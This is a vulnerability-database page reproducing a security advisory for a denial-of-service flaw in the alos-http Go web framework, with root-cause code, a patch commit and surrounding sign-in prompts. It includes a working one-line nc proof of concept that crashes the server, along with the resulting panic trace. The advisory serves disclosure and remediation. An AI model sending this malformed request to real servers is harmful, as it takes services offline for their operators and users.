EUVD-2026-67872
GHSA-hr6j-w4mw-g9mj
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Network-reachable with no auth or user interaction on default configs; pure availability impact (full process crash) with no confidentiality or integrity consequence.
Primary rating from Vendor (https://github.com/guno1928/alos-http).
CVSS VectorVendor: https://github.com/guno1928/alos-http
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled
Details
root cause: core/utils.go::sanitizeRequestPath
// assume path := "?"
if len(path) == 0 { // len(path) == 1
return "/"
}
p, _ := splitPathQuery(path) // p == ""
if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
return p
}- when the path starts with "?" len(path) is not 0 so the early return does not fire
- after
splitPathQuerypis empty"" pis then indexedp[0]without a length check
Relevant calling sites:
h1_plain.go:ParseH1RequestHead(HTTP/1.1)h1.go::ParseH1Request(dead code)hpack.go::decodeSimpleGetPathHTTPSRequest(HTTP/2)hpack.go::observeHeader(HTTP/2)h3_conn.go::handleRequestStream(HTTP/3)
these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic
PoC
Minimal server, using the quick-start
srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())Crash it with a single request
printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080Server output & crash
2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0
goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
/home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
/home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2all subsequent requests now fail, since the server is down
Impact
Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
AnalysisAI
Remote unauthenticated denial-of-service in alos-http, a Linux amd64 Go web framework, allows any network-reachable client to crash the entire server process with a single malformed HTTP request. The flaw exists in the request-line parser's sanitizeRequestPath function, which performs an unchecked index into an empty string after stripping a bare query-string path such as GET ? …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No authentication is required and no special server configuration is needed - HTTP/1.1 and HTTP/2 are served by default in all alos-http deployments, and both are vulnerable. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) accurately reflects the real-world risk profile: network-reachable, trivially exploitable with zero prerequisites, and producing complete availability loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | The vendor has released a patch in commit `314b6783e19698c85ea9d9b197ff52f7f6a3a374`, corresponding to Go pseudo-version `0.0.0-20260617230736-314b6783e196`. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all systems running alos-http and assess their network exposure to untrusted sources. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cau
A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescap
An issue was discovered on GL.iNet devices before version 4.5.0. Rated critical severity (CVSS 9.8), this vulnerability
Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range fi
The resolver in nginx before 1.8.1 and 1.9.x before 1.9.10 allows remote attackers to cause a denial of service (invalid
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8
The STARTTLS implementation in mail/ngx_mail_smtp_handler.c in the SMTP proxy in nginx 1.5.x and 1.6.x before 1.6.1 and
Same weakness CWE-248 – Uncaught Exception
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today